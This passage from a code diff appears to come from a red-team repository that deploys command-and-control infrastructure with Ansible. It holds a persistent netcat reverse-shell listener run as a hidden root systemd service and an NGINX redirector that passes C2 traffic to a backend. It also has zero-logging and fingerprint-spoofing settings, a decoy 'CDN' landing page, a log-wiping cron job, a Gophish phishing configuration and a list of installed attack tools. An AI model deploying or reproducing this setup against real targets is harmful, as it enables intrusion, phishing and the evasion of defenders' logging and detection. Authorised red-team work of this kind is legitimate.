rm -f $PIPE_PATH
|
||||
mkfifo $PIPE_PATH
|
||||
|
||||
log "Waiting for incoming connection..."
|
||||
nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output &
|
||||
NC_PID=$!
|
||||
|
||||
# Wait for connection
|
||||
wait $NC_PID
|
||||
log "Connection closed, restarting listener..."
|
||||
rm -f $PIPE_PATH.output
|
||||
done
|
||||
}
|
||||
|
||||
# Start the shell handler
|
||||
handle_connections
|
||||
dest: /opt/shell-handler/persistent-listener.sh
|
||||
mode: '0700'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create shell handler service
|
||||
copy:
|
||||
content: |
|
||||
[Unit]
|
||||
Description=Reverse Shell Handler Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
ExecStart=/opt/shell-handler/persistent-listener.sh
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Hide process information
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Make shell handler hard to find
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
# Environment variables
|
||||
Environment="C2_HOST={{ c2_ip }}"
|
||||
Environment="LISTEN_PORT={{ shell_handler_port }}"
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
dest: /etc/systemd/system/shell-handler.service
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Configure NGINX for zero-logging
|
||||
copy:
|
||||
content: |
|
||||
user www-data;
|
||||
worker_processes auto;
|
||||
pid /run/nginx.pid;
|
||||
include /etc/nginx/modules-enabled/*.conf;
|
||||
|
||||
events {
|
||||
worker_connections 1024;
|
||||
multi_accept on;
|
||||
}
|
||||
|
||||
http {
|
||||
# Basic Settings
|
||||
sendfile on;
|
||||
tcp_nopush on;
|
||||
tcp_nodelay on;
|
||||
keepalive_timeout 65;
|
||||
types_hash_max_size 2048;
|
||||
server_tokens off;
|
||||
|
||||
# MIME
|
||||
include /etc/nginx/mime.types;
|
||||
default_type application/octet-stream;
|
||||
|
||||
# Zero-logs configuration
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
|
||||
# SSL Settings
|
||||
ssl_protocols TLSv1.2 TLSv1.3;
|
||||
ssl_prefer_server_ciphers on;
|
||||
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
|
||||
|
||||
# Headers to confuse fingerprinting
|
||||
more_set_headers 'Server: Microsoft-IIS/8.5';
|
||||
|
||||
# Virtual Host Configs
|
||||
include /etc/nginx/conf.d/*.conf;
|
||||
include /etc/nginx/sites-enabled/*;
|
||||
}
|
||||
dest: /etc/nginx/nginx.conf
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
when: zero_logs|bool
|
||||
|
||||
- name: Configure NGINX default site for C2 redirection
|
||||
copy:
|
||||
content: |
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# Redirect to HTTPS
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ redirector_subdomain }}.{{ domain }};
|
||||
|
||||
# SSL Configuration (self-signed until Let's Encrypt is set up)
|
||||
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
|
||||
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
|
||||
|
||||
# Root directory
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
# Special URI patterns for C2 traffic
|
||||
location /ajax/ {
|
||||
proxy_pass http://{{ c2_ip }}:8888;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection "upgrade";
|
||||
}
|
||||
|
||||
# Default location
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Disable logging for this server block
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
|
||||
# Catch-all server block
|
||||
server {
|
||||
listen 80 default_server;
|
||||
listen [::]:80 default_server;
|
||||
|
||||
# Redirect all unknown traffic to a legitimate-looking site
|
||||
return 301 https://www.google.com;
|
||||
|
||||
# Disable logs
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
}
|
||||
dest: /etc/nginx/sites-available/default
|
||||
mode: '0644'
|
||||
owner: root
|
||||
group: root
|
||||
|
||||
- name: Create legitimate-looking index.html
|
||||
copy:
|
||||
content: |
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title>{{ redirector_subdomain }} - Content Delivery Network</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: Arial, sans-serif;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #f4f4f4;
|
||||
}
|
||||
header {
|
||||
background-color: #2c3e50;
|
||||
color: white;
|
||||
padding: 1em;
|
||||
text-align: center;
|
||||
}
|
||||
.container {
|
||||
width: 80%;
|
||||
margin: 0 auto;
|
||||
padding: 2em;
|
||||
}
|
||||
.card {
|
||||
background-color: white;
|
||||
border-radius: 5px;
|
||||
padding: 1.5em;
|
||||
margin-bottom: 1.5em;
|
||||
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<header>
|
||||
<h1>{{ redirector_subdomain }}.{{ domain }}</h1>
|
||||
<p>Enterprise Content Delivery Network</p>
|
||||
</header>
|
||||
|
||||
<div class="container">
|
||||
<div class="card">
|
||||
<h2>Welcome to Our CDN</h2>
|
||||
<p>This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.</p>
|
||||
<p><em>This is a private service. Unauthorized access is prohibited.</em></p>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
dest: /var/www/html/index.html
|
||||
mode: '0644'
|
||||
owner: www-data
|
||||
group: www-data
|
||||
|
||||
- name: Start and enable shell handler service
|
||||
systemd:
|
||||
name: shell-handler
|
||||
state: started
|
||||
enabled: yes
|
||||
daemon_reload: yes
|
||||
|
||||
- name: Set up cron job for log cleaning
|
||||
cron:
|
||||
name: "Clean logs"
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/opt/c2/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs|bool
|
||||
|
||||
- name: Install Let's Encrypt certificate if domain specified
|
||||
shell: |
|
||||
certbot --nginx -d {{ redirector_subdomain }}.{{ domain }} --non-interactive --agree-tos -m {{ letsencrypt_email }}
|
||||
args:
|
||||
creates: /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem
|
||||
when: domain != "example.com"
|
||||
|
||||
- name: Restart NGINX
|
||||
systemd:
|
||||
name: nginx
|
||||
state: restarted
|
||||
@@ -0,0 +1,23 @@
|
||||
{
|
||||
"admin_server": {
|
||||
"listen_url": "0.0.0.0:{{ gophish_admin_port }}",
|
||||
"use_tls": true,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
"trusted_origins": []
|
||||
},
|
||||
"phish_server": {
|
||||
"listen_url": "0.0.0.0:80",
|
||||
"use_tls": false,
|
||||
"cert_path": "/etc/letsencrypt/live/{{ domain }}/fullchain.pem",
|
||||
"key_path": "/etc/letsencrypt/live/{{ domain }}/privkey.pem"
|
||||
},
|
||||
"db_name": "sqlite3",
|
||||
"db_path": "gophish.db",
|
||||
"migrations_prefix": "db/db_",
|
||||
"contact_address": "",
|
||||
"logging": {
|
||||
"filename": "",
|
||||
"level": ""
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
Welcome to your new C2 Server!
|
||||
|
||||
The following tools and utilities have been installed:
|
||||
|
||||
Apt-Installed Tools:
|
||||
--------------------
|
||||
- git, wget, curl, unzip
|
||||
- python3-pip, python3-venv, pipx
|
||||
- tmux, nmap, tcpdump, hydra, john, hashcat
|
||||
- sqlmap, gobuster, dirb, enum4linux, dnsenum, seclists, responder
|
||||
- golang, proxychains, tor, crackmapexec, jq, unzip
|
||||
- postfix, certbot, opendkim, opendkim-tools
|
||||
|
||||
Pipx-Installed Tools:
|
||||
---------------------
|
||||
- NetExec: git+https://github.com/Pennyw0rth/NetExec
|
||||
- TREVORspray: git+https://github.com/blacklanternsecurity/TREVORspray
|
||||
- impacket: (various network protocols and service tools)
|
||||
|
||||
Custom Tools Installed in ~/Tools:
|
||||
----------------------------------
|
||||
- SharpCollection: ~/Tools/SharpCollection
|
||||
- Kerbrute: ~/Tools/Kerbrute
|
||||
- PEASS-ng: ~/Tools/PEASS-ng
|
||||
- MailSniper: ~/Tools/MailSniper
|
||||
- Inveigh: ~/Tools/Inveigh
|
||||
- Gophish: ~/Tools/gophish (unzipped here)
|
||||
|
||||
Other Installed C2 Frameworks:
|
||||
------------------------------
|
||||
- Metasploit Framework: system installed (run 'msfconsole')
|
||||
- Sliver C2: system installed (run 'sliver')
|
||||
|
||||
Also, remember that many reconnaissance and attack tools are now available system-wide due to the apt and pipx installations.
|
||||
|
||||
Once your DNS record points to this server’s public IP, you can obtain a Let’s Encrypt certificate by running:
|
||||
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ mail_hostname }}
|
||||
sudo certbot certonly --non-interactive --agree-tos --email {{ letsencrypt_email }} --standalone -d {{ domain }}
|
||||
|
||||
Remember to ensure your DNS is set correctly before running the above command.
|
||||
|
||||
**IMPORTANT:**
|
||||
|
||||
Don’t forget to set up a DMARC record for your domain. Update your DNS provider’s dashboard (e.g., GoDaddy) to add a TXT record named `_dmarc` with a suitable DMARC policy (e.g., `v=DMARC1; p=reject; rua=mailto:admin@{{ domain }}; ruf=mailto:admin@{{ domain }}; pct=100`). This ensures better email deliverability and security for your domain.
|
||||
|
||||
Reference in New Issue
Block a user